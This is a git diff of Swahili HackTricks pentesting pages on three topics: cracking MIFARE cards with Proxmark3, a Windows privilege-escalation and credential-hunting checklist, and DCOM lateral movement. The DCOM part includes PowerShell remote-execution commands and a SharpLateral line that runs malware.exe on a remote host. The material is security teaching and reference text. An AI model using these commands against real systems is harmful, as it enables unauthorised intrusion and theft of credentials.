* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Kikundi cha Usalama cha Kujitahidi**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,12 +22,12 @@
## Kuvamia Mifumo ya RFID na Proxmark3
Jambo la kwanza unalohitaji kufanya ni kuwa na [**Proxmark3**](https://proxmark.com) na [**kusakinisha programu na mahitaji yake**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
Jambo la kwanza unahitaji kufanya ni kuwa na [**Proxmark3**](https://proxmark.com) na [**kusakinisha programu na mahitaji yake**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
### Kuvamia MIFARE Classic 1KB
Ina **vikundi 16**, kila kimoja kina **blocki 4** na kila blocki ina **16B**. UID iko kwenye kikundi 0 blocki 0 (na haiwezi kubadilishwa).\
Kupata ufikiaji wa kila kikundi unahitaji **funguo 2** (**A** na **B**) ambazo zimehifadhiwa kwenye **blocki 3 ya kila kikundi** (sehemu ya kikundi). Sehemu ya kikundi pia inahifadhi **vibali vya ufikiaji** vinavyotoa **ruhusa ya kusoma na kuandika** kwenye **kila blocki** kwa kutumia funguo 2.\
Ina **vikundi 16**, kila kimoja kina **vikundi 4** na kila kundi lina **16B**. UID iko katika kikundi 0 kundi 0 (na haiwezi kubadilishwa).\
Ili kupata ufikiaji wa kila kikundi unahitaji **funguo 2** (**A** na **B**) ambazo zimehifadhiwa katika **kundi 3 la kila kikundi** (mkia wa kikundi). Mkia wa kikundi pia hifadhi **vibali vya ufikiaji** vinavyotoa **ruhusa ya kusoma na kuandika** kwenye **kila kundi** kwa kutumia funguo 2.\
Funguo 2 ni muhimu kutoa ruhusa ya kusoma ikiwa unajua ya kwanza na kuandika ikiwa unajua ya pili (kwa mfano).
Mashambulizi kadhaa yanaweza kutekelezwa
@ -49,11 +49,11 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
```
Proxmark3 inaruhusu kutekeleza vitendo vingine kama **kupeleleza** mawasiliano ya **Tag to Reader** kujaribu kupata data nyeti. Kwenye kadi hii unaweza kunusa mawasiliano na kuhesabu funguo zilizotumiwa kwa sababu **shughuli za kryptographi zilizotumiwa ni dhaifu** na kwa kujua maandishi wazi na maandishi ya siri unaweza kuzihesabu (zana ya `mfkey64`).
Proxmark3 inaruhusu kutekeleza vitendo vingine kama **kupeleleza** mawasiliano ya **Tag to Reader** kujaribu kupata data nyeti. Kwenye kadi hii unaweza kunusa mawasiliano na kuhesabu funguo zilizotumiwa kwa sababu **shughuli za kryptographi zilizotumiwa ni dhaifu** na kwa kujua maandishi wazi na maandishi ya siri unaweza kuhesabu hiyo (`mfkey64` chombo).
### Amri za Mbichi
Mifumo ya IoT mara nyingine hutumia vitambulisho visivyo na chapa au visivyo vya kibiashara. Katika kesi hii, unaweza kutumia Proxmark3 kutuma **amri za mbichi kwa vitambulisho**.
Mifumo ya IoT mara nyingi hutumia vitambulisho **visivyo na chapa au visivyo vya kibiashara**. Katika kesi hii, unaweza kutumia Proxmark3 kutuma **amri za mbichi kwa vitambulisho**.
```bash
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
SAK : 08 [2]
@ -71,11 +71,11 @@ Programu ya Proxmark3 inakuja na orodha iliyopakiwa kabla ya **maandishi ya kiot
```
proxmark3> script run mfkeys
```
Unaweza kuunda script ya **kufanya fuzz tag readers**, kwa kunakili data ya **kadi halali** tu andika **Lua script** ambayo **inabadilisha** moja au zaidi ya **bytes za kubahatisha** na kisha angalia kama **msomaji unaharibika** na mzunguko wowote.
Unaweza kuunda script ya **fuzz tag readers**, kwa kunakili data ya **kadi halali** tu andika **Lua script** ambayo **inabadilisha** moja au zaidi ya **bytes** kwa njia ya kubahatisha na kisha angalia kama **msomaji unaharibika** na mzunguko wowote.
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -86,8 +86,8 @@ Unaweza kuunda script ya **kufanya fuzz tag readers**, kwa kunakili data ya **ka
* Je! Unafanya kazi katika **kampuni ya usalama wa mtandao**? Je! Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,8 +1,8 @@
# Orodha - Kupandisha Mamlaka ya Windows kwa Kitaalam
# Orodha - Kupandisha Mamlaka ya Kibali kwa Windows ya Ndani
<details>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
@ -16,90 +16,90 @@ Njia nyingine za kusaidia HackTricks:
**Kikundi cha Usalama cha Kujitahidi**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### **Zana Bora ya Kutafuta Vekta za Kupandisha Mamlaka kwa Windows za Kitaalam:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### **Zana Bora ya Kutafuta Vekta za Kupandisha Mamlaka ya Kibali kwa Windows ya Ndani:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### [Maelezo ya Mfumo](windows-local-privilege-escalation/#system-info)
* [ ] Pata [**Maelezo ya Mfumo**](windows-local-privilege-escalation/#system-info)
* [ ] Tafuta **mabao ya kernel** [**kwa kutumia scripti**](windows-local-privilege-escalation/#version-exploits)
* [ ] Tafuta **mabao ya kernel** [**kwa kutumia hati**](windows-local-privilege-escalation/#version-exploits)
* [ ] Tumia **Google kutafuta** mabao ya kernel
* [ ] Tumia **searchsploit kutafuta** mabao ya kernel
* [ ] Maelezo ya kuvutia katika [**vars za mazingira**](windows-local-privilege-escalation/#environment)?
* [ ] Manenosiri katika [**historia ya PowerShell**](windows-local-privilege-escalation/#powershell-history)?
* [ ] Nywila katika [**historia ya PowerShell**](windows-local-privilege-escalation/#powershell-history)?
* [ ] Maelezo ya kuvutia katika [**vipimo vya mtandao**](windows-local-privilege-escalation/#internet-settings)?
* [ ] [**Madereva**](windows-local-privilege-escalation/#drives)?
* [ ] [**Udukuzi wa WSUS**](windows-local-privilege-escalation/#wsus)?
* [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)?
### [Uorodheshaji wa Kuingiza/AV](windows-local-privilege-escalation/#enumeration)
### Uchambuzi wa [Kuingiza/AV](windows-local-privilege-escalation/#enumeration)
* [ ] Angalia [**Uorodheshaji** ](windows-local-privilege-escalation/#audit-settings)na [**WEF** ](windows-local-privilege-escalation/#wef)vipimo
* [ ] Angalia [**Udhibiti** ](windows-local-privilege-escalation/#audit-settings)na mipangilio ya [**WEF** ](windows-local-privilege-escalation/#wef)
* [ ] Angalia [**LAPS**](windows-local-privilege-escalation/#laps)
* [ ] Angalia ikiwa [**WDigest** ](windows-local-privilege-escalation/#wdigest)ipo
* [ ] [**Ulinzi wa LSA**](windows-local-privilege-escalation/#lsa-protection)?
* [ ] [**Mlinzi wa Vitambulisho**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
* [ ] [**Vitambulisho Vilivyohifadhiwa**](windows-local-privilege-escalation/#cached-credentials)?
* [ ] Angalia ikiwa kuna [**AV yoyote**](windows-av-bypass)
* [ ] [**Sera ya AppLocker**](authentication-credentials-uac-and-efs#applocker-policy)?
* [**Guard ya Vyeti**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
* [**Vyeti Vilivyohifadhiwa**](windows-local-privilege-escalation/#cached-credentials)?
* Angalia ikiwa kuna [**AV yoyote**](windows-av-bypass)
* [**Sera ya AppLocker**](authentication-credentials-uac-and-efs#applocker-policy)?
* [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control)
* [**Haki za Mtumiaji**](windows-local-privilege-escalation/#users-and-groups)
* Angalia [**haki za mtumiaji wa sasa**](windows-local-privilege-escalation/#users-and-groups)
* Je, wewe ni [**mwanachama wa kikundi cha kipekee**](windows-local-privilege-escalation/#privileged-groups)?
* Angalia ikiwa una [mojawapo ya vitufe hivi vimezimwa](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
* Angalia ikiwa una [mojawapo ya vivuli hivi vimeamilishwa](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
* [**Vikao vya Watumiaji**](windows-local-privilege-escalation/#logged-users-sessions)?
* Angalia[ **nyumba za watumiaji**](windows-local-privilege-escalation/#home-folders) (upatikanaji?)
* Angalia [**Sera ya Nenosiri**](windows-local-privilege-escalation/#password-policy)
* Angalia [**Sera ya Nywila**](windows-local-privilege-escalation/#password-policy)
* Ni[ **nini ndani ya Ubao wa Kuchapisha**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
### [Mtandao](windows-local-privilege-escalation/#network)
* Angalia **habari za sasa za mtandao**](windows-local-privilege-escalation/#network)
* Angalia **sasa** [**habari za mtandao**](windows-local-privilege-escalation/#network)
* Angalia **huduma za mitaa zilizofichwa** zilizozuiwa kwa nje
### [Mchakato Unaoendeshwa](windows-local-privilege-escalation/#running-processes)
* Mchakato wa faili na folda za [**ruhusa**](windows-local-privilege-escalation/#file-and-folder-permissions)
* [**Uchimbaji wa Nenosiri la Kumbukumbu**](windows-local-privilege-escalation/#memory-password-mining)
* Mchakato wa faili za binaries [**faili na ruhusa za folda**](windows-local-privilege-escalation/#file-and-folder-permissions)
* [**Uchimbaji wa Nywila za Kumbukumbu**](windows-local-privilege-escalation/#memory-password-mining)
* [**Programu za GUI zisizo salama**](windows-local-privilege-escalation/#insecure-gui-apps)
* Pora vitambulisho na **mchakato wa kuvutia** kupitia `ProcDump.exe` ? (firefox, chrome, nk ...)
* Pora nywila na **mchakato wa kuvutia** kupitia `ProcDump.exe` ? (firefox, chrome, nk ...)
### [Huduma](windows-local-privilege-escalation/#services)
* [Je, unaweza **kurekebisha huduma yoyote**?](windows-local-privilege-escalation#permissions)
* [Je, unaweza **kurekebisha** **faili** inayotekelezwa na **huduma yoyote**?](windows-local-privilege-escalation/#modify-service-binary-path)
* [Je, unaweza **kurekebisha** **usajili** wa **huduma yoyote**?](windows-local-privilege-escalation/#services-registry-modify-permissions)
* [Je, unaweza kunufaika na **njia ya faili** isiyo na nukuu ya **huduma** yoyote?](windows-local-privilege-escalation/#unquoted-service-paths)
* [ ] [Je, unaweza **kurekebisha huduma yoyote**?](windows-local-privilege-escalation#permissions)
* [ ] [Je, unaweza **kurekebisha** **binary** inayo **tekelezwa** na **huduma** yoyote?](windows-local-privilege-escalation/#modify-service-binary-path)
* [ ] [Je, unaweza **kurekebisha** **usajili** wa **huduma** yoyote?](windows-local-privilege-escalation/#services-registry-modify-permissions)
* [ ] [Je, unaweza kunufaika na **njia ya binary** ya **huduma** yoyote **isiyotajwa**?](windows-local-privilege-escalation/#unquoted-service-paths)
### [**Programu**](windows-local-privilege-escalation/#applications)
* **Andika** [**ruhusa kwenye programu zilizosanikishwa**](windows-local-privilege-escalation/#write-permissions)
* [**Programu za Kuanza**](windows-local-privilege-escalation/#run-at-startup)
* [ ] **Andika** [**ruhusa kwenye programu zilizosanikishwa**](windows-local-privilege-escalation/#write-permissions)
* [ ] [**Programu za Kuanza**](windows-local-privilege-escalation/#run-at-startup)
* **Madereva** [**Dhaifu**](windows-local-privilege-escalation/#drivers)
### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking)
### [Utekapaji wa DLL](windows-local-privilege-escalation/#path-dll-hijacking)
* [ ] Je, unaweza **kuandika kwenye folda yoyote ndani ya PATH**?
* [ ] Kuna binary ya huduma inayojulikana ambayo **jaribu kupakia DLL ambayo haipo**?
* [ ] Je, kuna binary ya huduma inayojulikana ambayo **jaribu kupakia DLL ambayo haipo**?
* [ ] Je, unaweza **kuandika** kwenye **folda za binaries** yoyote?
### [Mtandao](windows-local-privilege-escalation/#network)
* [ ] Tafuta mtandao (kushirikiana, interfaces, njia, majirani, ...)
* [ ] Tathmini mtandao (kushirikiana, interfaces, njia, majirani, ...)
* [ ] Angalia kwa umakini huduma za mtandao zinazosikiliza kwenye localhost (127.0.0.1)
### [Siri za Windows](windows-local-privilege-escalation/#windows-credentials)
* [ ] [**Winlogon** ](windows-local-privilege-escalation/#winlogon-credentials)siri
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) siri unayoweza kutumia?
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) siri unazoweza kutumia?
* [ ] [**Siri za DPAPI**](windows-local-privilege-escalation/#dpapi) zenye kuvutia?
* [ ] Nywila za mtandao zilizohifadhiwa [**Wifi networks**](windows-local-privilege-escalation/#wifi)?
* [ ] Taarifa zenye kuvutia katika [**mambo ya hivi karibuni**](windows-local-privilege-escalation/#recently-run-commands)?
* [ ] [**Meneja wa Siri wa Desktop ya Mbali**](windows-local-privilege-escalation/#remote-desktop-credential-manager) nywila?
* [ ] [**Meneja wa Siri za Desktop ya Mbali**](windows-local-privilege-escalation/#remote-desktop-credential-manager) nywila?
* [ ] [**AppCmd.exe** ipo](windows-local-privilege-escalation/#appcmd-exe)? Nywila?
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? DLL Side Loading?
@ -107,18 +107,18 @@ Njia nyingine za kusaidia HackTricks:
* [ ] **Putty:** [**Siri**](windows-local-privilege-escalation/#putty-creds) **na** [**SSH host keys**](windows-local-privilege-escalation/#putty-ssh-host-keys)
* [ ] [**SSH keys katika usajili**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
* [ ] Nywila katika [**faili za bila usimamizi**](windows-local-privilege-escalation/#unattended-files)?
* [ ] Nywila katika [**faili za kiotomatiki**](windows-local-privilege-escalation/#unattended-files)?
* [ ] Backup yoyote ya [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups)?
* [ ] [**Siri za Cloud**](windows-local-privilege-escalation/#cloud-credentials)?
* [ ] Faili ya [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml)?
* [ ] [**Cached GPP Password**](windows-local-privilege-escalation/#cached-gpp-pasword)?
* [**Cached GPP Password**](windows-local-privilege-escalation/#cached-gpp-pasword)?
* [ ] Nywila katika [**faili ya usanidi wa Wavuti ya IIS**](windows-local-privilege-escalation/#iis-web-config)?
* [ ] Taarifa zenye kuvutia katika [**logs za wavuti**](windows-local-privilege-escalation/#logs)?
* [ ] Je, unataka [**kuomba siri**](windows-local-privilege-escalation/#ask-for-credentials) kwa mtumiaji?
* [ ] Taarifa zenye kuvutia katika [**faili ndani ya Recycle Bin**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
* [ ] Usajili mwingine una [**siri**](windows-local-privilege-escalation/#inside-the-registry)?
* [ ] Ndani ya [**data ya Kivinjari**](windows-local-privilege-escalation/#browsers-history) (dbs, historia, alamisho, ...)?
* [**Utafutaji wa nywila za jumla**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) katika faili na usajili
* [**Utafutaji wa nywila wa jumla**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) katika faili na usajili
* [**Zana**](windows-local-privilege-escalation/#tools-that-search-for-passwords) za kutafuta nywila kiotomatiki
### [Mikono Iliyovuja](windows-local-privilege-escalation/#leaked-handlers)
@ -127,24 +127,24 @@ Njia nyingine za kusaidia HackTricks:
### [Uigaji wa Mteja wa Mipira](windows-local-privilege-escalation/#named-pipe-client-impersonation)
* [ ] Angalia kama unaweza kutumia hilo
* [ ] Angalia ikiwa unaweza kutumia hilo
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
**Kikundi cha Usalama cha Kujitahidi**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -4,17 +4,17 @@
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)..
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)..
</details>
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -25,17 +25,17 @@
**Kwa habari zaidi kuhusu mbinu hii angalia chapisho la asili kutoka [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
Modeli ya Vitu vya Mfano wa Vitengo vilivyosambazwa (DCOM) inatoa uwezo wa kuvutia kwa mwingiliano wa mtandao na vitu. Microsoft hutoa nyaraka kamili kwa DCOM na Modeli ya Vitengo vya Mfano (COM), inayopatikana [hapa kwa DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) na [hapa kwa COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Orodha ya programu za DCOM inaweza kupatikana kwa kutumia amri ya PowerShell:
Modeli ya Vitu vya Mfano wa Sehemu iliyosambazwa (DCOM) inatoa uwezo wa kuvutia kwa mwingiliano wa mtandao na vitu. Microsoft hutoa nyaraka kamili kwa DCOM na Modeli ya Vitu vya Sehemu (COM), inayopatikana [hapa kwa DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) na [hapa kwa COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Orodha ya programu za DCOM inaweza kupatikana kwa kutumia amri ya PowerShell:
```bash
Get-CimInstance Win32_DCOMApplication
```
COM object, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), inawezesha uandishi wa hatua za MMC snap-in kwa kutumia script. Kwa umuhimu, hii object ina `ExecuteShellCommand` method chini ya `Document.ActiveView`. Taarifa zaidi kuhusu method hii zinapatikana [hapa](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Angalia ikifanya kazi:
COM object, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), inawezesha uandishi wa shughuli za MMC snap-in kwa kutumia script. Kwa umuhimu, kipengele hiki kina `ExecuteShellCommand` method chini ya `Document.ActiveView`. Taarifa zaidi kuhusu method hii zinaweza kupatikana [hapa](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Angalia ikifanya kazi:
Hii kipengele inarahisisha utekelezaji wa amri kupitia mtandao kupitia programu ya DCOM. Ili kuingiliana na DCOM kijijini kama admin, PowerShell inaweza kutumika kama ifuatavyo:
Kipengele hiki kinawezesha utekelezaji wa amri juu ya mtandao kupitia programu ya DCOM. Ili kuingiliana na DCOM kwa mbali kama msimamizi, PowerShell inaweza kutumika kama ifuatavyo:
```powershell
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
```
Amri ifuatayo inaunganisha kwenye programu ya DCOM na kurudi kwa kipengele cha COM. Mbinu ya ExecuteShellCommand inaweza kisha kuitwa kutekeleza mchakato kwenye mwenyeji wa mbali. Mchakato unajumuisha hatua zifuatazo:
Amri hii inaunganisha kwenye programu ya DCOM na kurudi kwa kifaa cha COM. Mbinu ya ExecuteShellCommand inaweza kisha kuitwa kutekeleza mchakato kwenye mwenyeji wa mbali. Mchakato unajumuisha hatua zifuatazo:
Angalia mbinu:
```powershell
@ -55,9 +55,9 @@ ls \\10.10.10.10\c$\Users
**Kwa habari zaidi kuhusu hii mbinu angalia chapisho la asili [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
Kitu cha **MMC20.Application** kiligunduliwa kukosa "LaunchPermissions" wazi, kikiruhusu upatikanaji wa Wasimamizi kwa chaguo-msingi. Kwa maelezo zaidi, mjadala unaweza kuchunguzwa [hapa](https://twitter.com/tiraniddo/status/817532039771525120), na matumizi ya [@tiraniddo](https://twitter.com/tiraniddo)s OleView .NET kwa kuchuja vitu bila ruhusa wazi ya Kuzindua inapendekezwa.
Kitu cha **MMC20.Application** kiligunduliwa kukosa "LaunchPermissions" wazi, kikiruhusu upatikanaji wa Wasimamizi kwa chaguo-msingi. Kwa maelezo zaidi, unaweza kuchunguza mjadala [hapa](https://twitter.com/tiraniddo/status/817532039771525120), na matumizi ya [@tiraniddo](https://twitter.com/tiraniddo)s OleView .NET kwa kuchuja vitu bila ruhusa wazi ya Kuzindua inapendekezwa.
Vitu viwili maalum, `ShellBrowserWindow` na `ShellWindows`, vilionyeshwa kutokana na kukosa kwa Ruhusa wazi ya Kuzindua. Kutokuwepo kwa kuingia kwa usajili wa `LaunchPermission` chini ya `HKCR:\AppID\{guid}` inaashiria kukosekana kwa ruhusa wazi.
Vitu viwili maalum, `ShellBrowserWindow` na `ShellWindows`, vilisisitizwa kutokana na kukosa kwa ruhusa wazi ya Kuzindua. Kutokuwepo kwa kuingia kwa usajili wa `LaunchPermission` chini ya `HKCR:\AppID\{guid}` kunamaanisha hakuna ruhusa wazi.
### ShellWindows
Kwa `ShellWindows`, ambayo haina ProgID, njia za .NET `Type.GetTypeFromCLSID` na `Activator.CreateInstance` hurahisisha kuunda vitu kwa kutumia AppID yake. Mchakato huu unatumia OleView .NET kupata CLSID kwa `ShellWindows`. Mara baada ya kuundwa, mwingiliano unawezekana kupitia njia ya `WindowsShell.Item`, ikiongoza kwa wito wa njia kama `Document.Application.ShellExecute`.
@ -98,11 +98,11 @@ $Obj.DDEInitiate("cmd", "/c $Command")
```
### Zana za Kiotomatiki kwa Harakati za Upande
Zana mbili zinaonyeshwa kwa kiotomatiki hizi mbinu:
Zana mbili zimebainishwa kwa ajili ya kiotomatiki hizi mbinu:
- **Invoke-DCOM.ps1**: Skripti ya PowerShell iliyotolewa na mradi wa Empire ambayo inasaidia kuita njia tofauti za kutekeleza nambari kwenye mashine za mbali. Skripti hii inapatikana kwenye hazina ya GitHub ya Empire.
- **Invoke-DCOM.ps1**: Skripti ya PowerShell iliyotolewa na mradi wa Empire ambayo inasaidia kwa kiasi kikubwa wito wa njia tofauti za kutekeleza namna ya kificho kwenye mashine za mbali. Skripti hii inapatikana kwenye hazina ya GitHub ya Empire.
- **SharpLateral**: Zana iliyoundwa kwa ajili ya kutekeleza nambari kijijini, ambayo inaweza kutumika na amri:
- **SharpLateral**: Zana iliyoundwa kwa ajili ya kutekeleza kificho kijijini, ambayo inaweza kutumika kwa amri:
```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
```
@ -120,7 +120,7 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
